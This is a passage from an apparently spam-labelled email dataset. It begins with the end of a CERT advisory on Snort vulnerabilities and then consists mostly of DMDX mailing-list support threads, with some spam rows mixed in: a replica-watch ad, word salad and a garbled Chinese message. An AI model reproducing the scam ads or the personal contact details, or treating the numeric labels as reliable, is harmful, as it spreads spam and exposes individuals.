Note that disabling these modules may have adverse affects on a sensor's ability to correctly process RPC record fragments and TCP packet fragments. In particular, disabling the ""stream4"" preprocessor module will prevent the Snort sensor from detecting a variety of IDS evasion attacks. Block outbound packets from Snort IDS systems You may be able limit an attacker's capabilities if the system is compromised by blocking all outbound traffic from the Snort sensor. While this workaround will not prevent exploitation of the vulnerability, it may make it more difficult for the attacker to create a useful exploit. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer, Inc. Snort is not shipped with Mac OS X or Mac OS X Server. Ingrian Networks Ingrian Networks products are not susceptible to VU#139129 and VU#916785 since they do not use Snort. Ingrian customers who are using the IDS Extender Service Engine to mirror cleartext data to a Snort-based IDS should upgrade their IDS software. NetBSD NetBSD does not include snort in the base system. Snort is available from the 3rd party software system, pkgsrc. Users who have installed net/snort, net/snort-mysql or net/snort-pgsql should update to a fixed version. pkgsrc/security/audit-packages can be used to keep up to date with these types of issues. Red Hat Inc. Not vulnerable. Red Hat does not ship Snort in any of our supported products. SGI SGI does not ship snort as part of IRIX. Snort Snort 2.0 has undergone an external third party professional security audit funded by Sourcefire. _________________________________________________________________ The CERT/CC acknowledges Bruce Leidl, Juan Pablo Martinez Kuhn, and Alejandro David Weil of Core Security Technologies for their discovery of VU#139129. We also acknowledge Mark Dowd and Neel Mehta of ISS X-Force for their discovery of VU#916785. _________________________________________________________________ Authors: Jeffrey P. Lanza and Cory F. Cohen. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-13.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. 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This means that negative branch destination item numbers are no longer necessary -- a good thing because if I never remember to put minus signs in for backwards branches I'm willing to bet almost no one else does either. People with complicated branching might want to check that I didn't do something stupid... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 민승기 ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Apr 2003 16:45:32 +0900",[DMDX] video display during button responses,"Dear DMDX users:   lately I have been  faced with a problem connected with avi. video displaying. video test is good.   In my experiment, subjects have to press a button(among ""zillion-mapped"" number keypads) watching a video clip(100sec).   More specifically, during a avi. file is displaying, they have to press a button whenever they feel a sentation of the emotions(for example, fear or pleasure). they can press a button(among 1-9) in accordance with emotional  intensity. Of course the video clip is playing continously regardless of button responses. If the first video clip is over, the next is displayed.   After all,  It means plural responses have to be recorded on one clip. is it possible? I abandoned !!   Any help or clue would be appresiated.   God speed you.. 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Simon Webster Department of Psychology University of Dundee Dundee DD1 4HN Scotland Tel +44 (0)1382 344187 Fax +44 (0)1382 229993 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Apr 2003 10:11:30 -0700",[DMDX] Re: video display during button responses,"At 04:45 PM 4/24/2003 +0900, you wrote: > >After all, It means plural responses have to be recorded on one clip. is >it possible? That's what is for, it records multiple responses. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Apr 2003 10:55:36 -0700",[DMDX] Re: absolute values,"At 03:30 PM 4/24/2003 +0100, you wrote: >Hello > >Have you had problems with the absolute value command, abs(a), >that's used with counters? When I try to get the absolute value of a >counter with a value between -100 and 100, I get insane absolute >values like 19664255. Any help would be appreciated. Hmm, looks like something subtle is busted in there. abs() of expressions functions unless that expression is just a counter. Looks like the value displayed is the address of that counter. For a cheap fix till I find out what's wrong use . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 Mr Elisabet Mackenzie ,DMDX@psy1.psych.arizona.edu,"Fri, 25 Apr 2003 07:44:13 -0800",protect your health,"try runnymede may chairman not that'd or lithology or lemon ",1,0 Inez Whittaker ,Cassandra ,"Thu, 24 Apr 2003 21:42:23 -0100",High quality watches,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 25 Apr 2003 16:58:22 -0700",[DMDX] DMDX 3.0.1.7," In hunting down the abs() problem I came across another instance of sscanf() crashing the winME machine so I spent today re-arranging the parameter line parsing code so sscanf() can be used on it. That is now available in 3.0.1.7. Hopefully next week I'll find what's busted in the calculator but unfortunately that's complicated code I didn't write and it's making a mistake... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 JOHN J CURTIN ,DMDX@psy1.psych.arizona.edu,"Sat, 26 Apr 2003 14:10:05 -0500",[DMDX] DMDX cite page number,"I see that the DMDX article has come out in Feb in Behavior Research Methods, Instruments, and & Computers (vol 35). However, we dont have the journal here and the page numbers are not listed on the journal website. I am updating proofs for an article and need this info. Does anyone have the exact page numbers? J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,0 Edelyn Verona ,DMDX@psy1.psych.arizona.edu,"Sun, 27 Apr 2003 12:19:51 -0400",[DMDX] Re: DMDX cite page number,"OK--how can anyone be SUCH a geek as to subscribe to that journal? And then, as the kiss-as that you are, make sure that you let Jonathan know that you're citing his work. Pathetic! At 02:10 PM 4/26/03 -0500, you wrote: >I see that the DMDX article has come out in Feb in Behavior Research >Methods, Instruments, and & Computers (vol 35). However, we dont have the >journal here and the page numbers are not listed on the journal website. I >am updating proofs for an article and need this info. Does anyone have the >exact page numbers? > >J > >John J. Curtin, Ph.D. >Assistant Professor of Psychology >University of Wisconsin >1202 West Johnson St. >Madison, WI 53706 > >Email: jjcurtin@wisc.edu >Office: 608-262-0387 >Lab: 608-262-5621 >Cell: 608-217-6221 >Fax: 608-262-4029 > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~ Edelyn Verona, Ph.D. Department of Psychology Kent State University Kent, OH 44242 Office: 330-672-2543 Lab: 330-672-9738 Fax: 330-672-3786 email: everona@kent.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ",0,1 Edelyn Verona ,DMDX@psy1.psych.arizona.edu,"Sun, 27 Apr 2003 12:32:40 -0400",[DMDX] apology,"Sorry for the mistake--I have been kidding John about his frequent use of the DMDX listserve, and his general interest in computers and software, and inadvertently sent the message to everyone. I obviously do not have any technical sophistication myself. Won't happen again. Thanks. ",0,0 """Bettie~ 2�饻���Ͳ���Ĥ@���W�k�u �� �R�Хѡ� ���R�ޥ��P�t�޵L�i�D�����ʷP�ת�{�L���Y}"" ",dcc@cise.ufl.edu,"Mon, 21 Nov 1898 16:27:13 +0800",�h�k�P�ɱj���@ �k / �ʤH�P�ɩʷR�V�� �������[cmsnxmyk,080�������������A�R�����������w�� �@ 080�������������A�R�����������w�� �Y�����}�����C���}�����F�����o�s������ ������ Leticia,1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 27 Apr 2003 13:55:05 -0700",[DMDX] Re: apology,"At 12:32 PM 4/27/2003 -0400, you wrote: >Sorry for the mistake--I have been kidding John about his frequent use of >the DMDX listserve, and his general interest in computers and software, and >inadvertently sent the message to everyone. I obviously do not have any >technical sophistication myself. Won't happen again. S'ok, I was impressed someone would use the list server for casual stuff... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In my end is my beginning. ",0,0 """tamar h. gollan"" ",DMDX@psy1.psych.arizona.edu,"Sun, 27 Apr 2003 14:03:39 -0700",[DMDX] Re: apology,"were you impressed that someone thought your ass to be worth of kissing? ;-) where is your dad? he has been ignorning me lately... j.c.f. wrote: > At 12:32 PM 4/27/2003 -0400, you wrote: > >> Sorry for the mistake--I have been kidding John about his frequent >> use of >> the DMDX listserve, and his general interest in computers and >> software, and >> inadvertently sent the message to everyone. I obviously do not have any >> technical sophistication myself. Won't happen again. > > > S'ok, I was impressed someone would use the list server for casual > stuff... > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > In my end is my beginning. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Arturo Kiyama ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 10:28:06 -0400",[DMDX] Still having trouble displaying chinese characters,"I attempted to to what was suggested before, but either the item file does not run, stating ""RTF control word <\\loch> used in quoted text, not supported"". or if it does run the characters are displayed as gibberish. We are using version 3.0.0.13 on Windows 2000. I believe that when we got it to run (but not display properly) it was on a Windows 95 and a fairly old version of dmdx. Any help will be appreciated, thank you. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043",0,0 Arturo Kiyama ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 10:32:05 -0400",[DMDX] Experiments on Web,"Is it possible to run dmdx on the web? Would a web-based experiment give the same results as one that is installed on an individual computer? Thanks. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 11:27:20 -0400",[DMDX] Re: Still having trouble displaying chinese characters,"Sorry for the delay. I tested one of the Chinese files I used on my laptop. It works fine. Then I wrote another item file with Chinese words in it, and tested it on a Dell in my lab. I didn't receive any error message, but what is showing are unrecognizable codes, not Chinese. I will keep working on it when I get time. If I can figure out why, I will let you know. --Nan Jiang Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics & ESL Georgia State University njiang@gsu.edu 404-651-2936 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 08:43:34 -0700",[DMDX] Re: Still having trouble displaying chinese characters,"At 10:28 AM 4/28/2003 -0400, you wrote: >I attempted to to what was suggested before, but either the item file >does not run, stating > >""RTF control word <\\loch> used in quoted text, not supported"". Check the ""Ignore Unknown RTF"" check box in DMDX's run dialog. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In my end is my beginning.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 08:44:01 -0700",[DMDX] Re: Experiments on Web,"At 10:32 AM 4/28/2003 -0400, you wrote: >Is it possible to run dmdx on the web? Would a web-based experiment >give the same results as one that is installed on an individual >computer? Thanks. No and no. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In my end is my beginning. ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 11:08:24 -0700",[DMDX] RE: DMDX cite page number," > I see that the DMDX article has come out in Feb in Behavior Research > Methods, Instruments, and & Computers (vol 35). However, we dont have the > journal here and the page numbers are not listed on the journal website. > I am updating proofs for an article and need this info. Does anyone have > the exact page numbers? Yes. Pages 116-124. --k.i.f ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 28 Apr 2003 15:01:13 -0700",[DMDX] DMDX 3.0.1.8," Well our beloved little 1985 expression evaluator by Bob Brodt sure was dropping the ball evaluating a expression that only had an lvalue in it. Might be because of the way DMDX uses the evaluator but it's still a valid use of it (wish I could find the original code to check it but all that's left is what's built into DMDX now, oops). Hopefully I've pulled it apart enough to have made the right extensions to it in DMDX 3.0.1.8 so it can now evaluate ""function(counterN)"" correctly. People using counters in expressions with brackets would do well to make sure I haven't busted their usage, I've tested a number of expression forms that are likely to be affected but can't of course test all possible usages. And such testing would best be done soon before I forget all the nuances of the expression parser... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 """EL Turner, Experimental Psychology"" ",DMDX ,"Tue, 29 Apr 2003 11:10:54 +0100",[DMDX] Refresh rate of 22msec,"Hi, I am writing to get some advice about a computer that is displaying a really slow refresh rate (22msec). I am running simple experiments involving text and for some reason one of the computers is much slower than the others. Is there anything I can do to increase the refresh rate? I have timed some 1 minute stimuli with the relevant number of ticks and it is the case that the rate is this slow, so it is not that the refresh rate reported in the azk files is incorrect. This computer is running windows 98 and using DMDX Version 2.6 Thanks in advance Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 29 Apr 2003 08:48:23 -0700",[DMDX] Re: Refresh rate of 22msec,"At 11:10 AM 4/29/2003 +0100, you wrote: >Hi, > >I am writing to get some advice about a computer that is displaying a >really slow refresh rate (22msec). I am running simple experiments >involving text and for some reason one of the computers is much slower >than the others. Is there anything I can do to increase the refresh >rate? I have timed some 1 minute stimuli with the relevant number of >ticks and it is the case that the rate is this slow, so it is not that >the refresh rate reported in the azk files is incorrect. If the registry says the refresh interval is 22 ms DMDX is going to do it's damndest to make the refresh interval 22 ms so timing a stimuli no longer means anything -- hasn't since DMTG. 22 ms isn't a possible refresh rate. >This computer is running windows 98 and using DMDX Version 2.6 Stick the latest DMDX on it, version 3's retrace rate determination code is almost flawless. The only times I've seen it fail are on machines with hopeless video drivers where DMDX couldn't possibly run, there were enormous visual artifacts and TimeDX simply bombed out saying it couldn't determine the retrace rate. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ In my end is my beginning. ",0,0 Katia Duscherer ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Apr 2003 18:19:13 +0200",[DMDX] Re: Refresh rate of 22msec,"> Stick the latest DMDX on it, version 3's retrace rate determination > code is almost flawless. The only times I've seen it fail are on > machines with hopeless video drivers where DMDX couldn't possibly run, > there were enormous visual artifacts and TimeDX simply bombed out > saying it couldn't determine the retrace rate. which happens not so rarely in fact... updating the video drivers does wonder :-) katia, used to the ""unable to determine the refresh rate"" message ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 29 Apr 2003 10:30:32 -0700",[DMDX] Re: Refresh rate of 22msec,"At 06:19 PM 4/29/2003 +0200, you wrote: >> Stick the latest DMDX on it, version 3's retrace rate determination >> code is almost flawless. The only times I've seen it fail are on >> machines with hopeless video drivers where DMDX couldn't possibly run, >> there were enormous visual artifacts and TimeDX simply bombed out saying >> it couldn't determine the retrace rate. > >which happens not so rarely in fact... >updating the video drivers does wonder >:-) > >katia, used to the ""unable to determine the refresh rate"" message Yeah, a lot of the initial releases of XP drivers were pretty poor. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 Arch Tibben ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 17:35:38 +1000","[DMDX] write to output file, disk full","Hi I am currently running a masked faces experiment under dmdx I can run the prog under syntax check but receive an error when the first face has been shown ""Write to output file , disk full the disk isn't full. however I think there might be a buffer overrun?? have tried the timedx to tune the system/ and changed video settings Have loaded the latest dmdx to no avail would appreciate some help arch ",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 09:51:31 +0200","[DMDX] RE : write to output file, disk full","this question was asked previously (although the origin of the bug does not need to be the same) 1/ try checking the read only status of your files (in windows explorer) 2/ try searching the list for other answers I cannot recall just now cheers x. F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc/pagesperso/alario/ -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arch Tibben Sent: Wednesday, April 30, 2003 9:36 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] write to output file, disk full Hi I am currently running a masked faces experiment under dmdx I can run the prog under syntax check but receive an error when the first face has been shown ""Write to output file , disk full the disk isn't full. however I think there might be a buffer overrun?? have tried the timedx to tune the system/ and changed video settings Have loaded the latest dmdx to no avail would appreciate some help arch ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 10:04:08 +0100","[DMDX] Re: RE : write to output file, disk full","Had this message before and it was also when displayig images. My guess is the buffer is full at the point the script ends. Try clicking the ""always flush file buffers"" box in Task Priorities. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,1 민승기 ,DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 21:11:48 +0900",[DMDX] summing response times,"dmdx users;   Hi, I mail a letter to get a hint about my experiment. The problem is as follows.   I would like to move next item as soon as a baby subject have seen a image(.jpg) on screen for the five seconds. but as you know babies don't always pay attention to a stimulus. so I planed to sum times that a baby had only seen a face image(positive response) until the summed time reached five seconds. when reached the image is disappeared on screen.   In brief, I intend to display a image stimulus until (irregulally summing) the positive response time reaches to five seconds.   I think possible solution is using a few commands, and . but I'm not convinced that it is right and in difficulties for a detailed usage.   sincerely hope your help for it. thanks. ""우리 인터넷, Daum"" http://www.daum.net  『평생쓰는 무료 한메일넷』 ▷2003 다음의 날◁★와 함께하는 열정과 끼의 한바탕 축제 한메일넷 스팸제로 시스템스팸 없는 편지함! 한메일넷 편지함!",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 08:37:02 -0700","[DMDX] Re: write to output file, disk full"," Perhaps if you send me (not the list) your item file and all it's materials in a zip file I can see if I can replicate the problem. At 05:35 PM 4/30/2003 +1000, you wrote: >Hi >I am currently running a masked faces experiment >under dmdx > >I can run the prog under syntax check but receive an error when the first >face has been shown >""Write to output file , disk full > >the disk isn't full. however I think there might be a buffer overrun?? > have tried the timedx to tune the system/ and changed video settings >Have loaded the latest dmdx > >to no avail >would appreciate some help >arch > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to squash a rumor is like trying to un-ring a bell. - Shana Alexander ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 08:51:18 -0700",[DMDX] Re: summing response times,"At 09:11 PM 4/30/2003 +0900, you wrote: >I would like to move next item as soon as a baby subject have seen a >image(.jpg) >on screen for the five seconds. >but as you know babies don't always pay attention to a stimulus. >so I planed to sum times that a baby had only seen a face image(positive >response) >until the summed time reached five seconds. >when reached the image is disappeared on screen. You can use the key word to get times keys are pressed, but that's only within one item, your solution will require multiple items and isn't going to help there as it won't see the first key press in subsequent items. >In brief, I intend to display a image stimulus >until (irregulally summing) the positive response time reaches to five >seconds. > >I think possible solution is using a few commands, and . >but I'm not convinced that it is right and in difficulties for a detailed >usage. I've yet to think of a solution beyond adding code to DMDX. I'll see if any solution comes to mind during the day. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to squash a rumor is like trying to un-ring a bell. - Shana Alexander",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 10:27:25 -0700",[DMDX] Re: summing response times,"At 08:51 AM 4/30/2003 -0700, you wrote: >At 09:11 PM 4/30/2003 +0900, you wrote: >>I would like to move next item as soon as a baby subject have seen a >>image(.jpg) >>on screen for the five seconds. >>but as you know babies don't always pay attention to a stimulus. >>so I planed to sum times that a baby had only seen a face image(positive >>response) >>until the summed time reached five seconds. >>when reached the image is disappeared on screen. > > You can use the key word to get times keys are pressed, > but that's only within one item, your solution will require multiple > items and isn't going to help there as it won't see the > first key press in subsequent items. I was thinking that you could do it because when the code sees a key released with no key press it takes the clock on time as the pressed time, likewise if there's no release it takes the end of the item as the release time. To do what you want you'd have to break your 5 second display up into small chunks and loop backwards summing looking times across the chucks -- but if the lookingtime key didn't change state during one of those chunks DMDX wouldn't see it at all. So pending further epiphanies the only way I can see that your task would become possible is for a whole new class of response to be created, a response that DMDX doesn't see unless a key is held for a cumulative duration. Which means you'd have to buy the department a nice big serial ATA drive... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 Arch Tibben ,DMDX@psy1.psych.arizona.edu,"Thu, 01 May 2003 12:21:47 +1000","[DMDX] Re: write to output file, disk full","Thanks Jonathan I'll try and attach it as a zip file haven't done this before so here goes PS I have checked the read only status and also flush file buffers in Task priority as suggested by alario and mike however no success regards arch ----- Original Message ----- From: ""j.c.f."" To: Sent: Thursday, May 01, 2003 1:37 AM Subject: [DMDX] Re: write to output file, disk full > > Perhaps if you send me (not the list) your item file and all it's > materials in a zip file I can see if I can replicate the problem. > > At 05:35 PM 4/30/2003 +1000, you wrote: > >Hi > >I am currently running a masked faces experiment > >under dmdx > > > >I can run the prog under syntax check but receive an error when the first > >face has been shown > >""Write to output file , disk full > > > >the disk isn't full. however I think there might be a buffer overrun?? > > have tried the timedx to tune the system/ and changed video settings > >Have loaded the latest dmdx > > > >to no avail > >would appreciate some help > >arch > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Trying to squash a rumor is like trying to un-ring a bell. > - Shana Alexander > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Arch Tibben ,DMDX@psy1.psych.arizona.edu,"Thu, 01 May 2003 12:45:49 +1000","[DMDX] Fw: Re: write to output file, disk full","----- Original Message ----- From: ""Arch Tibben"" To: Sent: Thursday, May 01, 2003 12:21 PM Subject: [DMDX] Re: write to output file, disk full > Thanks Jonathan > I'll try and attach it as a zip file > haven't done this before so here goes > > > PS I have checked the read only status and also flush file buffers in Task > priority as suggested by alario and mike > however no success > > regards arch > > ----- Original Message ----- > From: ""j.c.f."" > To: > Sent: Thursday, May 01, 2003 1:37 AM > Subject: [DMDX] Re: write to output file, disk full > > > > > > Perhaps if you send me (not the list) your item file and all it's > > materials in a zip file I can see if I can replicate the problem. > > > > At 05:35 PM 4/30/2003 +1000, you wrote: > > >Hi > > >I am currently running a masked faces experiment > > >under dmdx > > > > > >I can run the prog under syntax check but receive an error when the > first > > >face has been shown > > >""Write to output file , disk full > > > > > >the disk isn't full. however I think there might be a buffer overrun?? > > > have tried the timedx to tune the system/ and changed video settings > > >Have loaded the latest dmdx > > > > > >to no avail > > >would appreciate some help > > >arch > > > > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Trying to squash a rumor is like trying to un-ring a bell. > > - Shana Alexander > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Apr 2003 22:19:12 -0700","[DMDX] Re: write to output file, disk full","Thanks, I do believe I said to _me_ and _not_ to the list. Messages to DMDX@psy1.psych.arizona.edu go to the list, not just to me. My email address is jforster@psy1.psych.arizona.edu, you can see it up there in the From: header. At 12:21 PM 5/1/2003 +1000, you wrote: >Thanks Jonathan >I'll try and attach it as a zip file >haven't done this before so here goes > > >PS I have checked the read only status and also flush file buffers in Task >priority as suggested by alario and mike >however no success > >regards arch > >----- Original Message ----- >From: ""j.c.f."" >To: >Sent: Thursday, May 01, 2003 1:37 AM >Subject: [DMDX] Re: write to output file, disk full > > > > > > Perhaps if you send me (not the list) your item file and all it's > > materials in a zip file I can see if I can replicate the problem. > > > > At 05:35 PM 4/30/2003 +1000, you wrote: > > >Hi > > >I am currently running a masked faces experiment > > >under dmdx > > > > > >I can run the prog under syntax check but receive an error when the >first > > >face has been shown > > >""Write to output file , disk full > > > > > >the disk isn't full. however I think there might be a buffer overrun?? > > > have tried the timedx to tune the system/ and changed video settings > > >Have loaded the latest dmdx > > > > > >to no avail > > >would appreciate some help > > >arch > > > > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Trying to squash a rumor is like trying to un-ring a bell. > > - Shana Alexander > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to squash a rumor is like trying to un-ring a bell. - Shana Alexander",0,1 Rachel Bond ,DMDX@psy1.psych.arizona.edu,"Fri, 02 May 2003 17:27:32 +1000",[DMDX] alternate naming and keypress responses,"Dear list members, My experiment alternates between two types of items: - simple ones requiring a timed picture naming response - complex ones where the subject gives a series of verbal responses, and the experimenter must press a key to progress to the next item. This means I need DMDX to respond on the simple trials to the voicekey, and on the complex trials to the keyboard, but importantly NOT to the voicekey, as subjects will be talking. I have tried to disengage the voicekey using , but without success: it still triggers to verbal responses. Here's my attempt to make it work: 0 ""Press spacebar to start""; +1 _____ _____ _____ / / * sentence1, sentence2, sentence3 /!; +2 * * * * */ / * picture1; +3 * picture2; 0 This is the end ""; Thanks for any assistance Rachel",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 02 May 2003 08:29:22 -0700",[DMDX] Re: alternate naming and keypress responses,"At 05:27 PM 5/2/2003 +1000, you wrote: >Dear list members, > >My experiment alternates between two types of items: >- simple ones requiring a timed picture naming response >- complex ones where the subject gives a series of verbal responses, and >the experimenter must press a key to progress to the next item. > >This means I need DMDX to respond on the simple trials to the voicekey, >and on the complex trials to the keyboard, but importantly NOT to the >voicekey, as subjects will be talking. >I have tried to disengage the voicekey using , but without Your approach is correct, however the DigitalVOX sends a positive response, not a request. You need to use or . >success: it still triggers to verbal responses. > >Here's my attempt to make it work: > > >0 ""Press spacebar to start""; >+1 _____ _____ _____ / / * > sentence1, sentence2, sentence3 /!; >+2 * * * * */ / * 3000> picture1; >+3 * picture2; >0 This is the end ""; > >Thanks for any assistance >Rachel > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to squash a rumor is like trying to un-ring a bell. - Shana Alexander",0,1 Linda Kingery ,Margaret_Anderson@fws.gov,"Fri, 02 May 2003 16:09:27 -0500",ephemal wetlands - drainage and conservation,"Maggie, First, I'm wondering if you and John Braastad had a chance to talk about making recommendations to 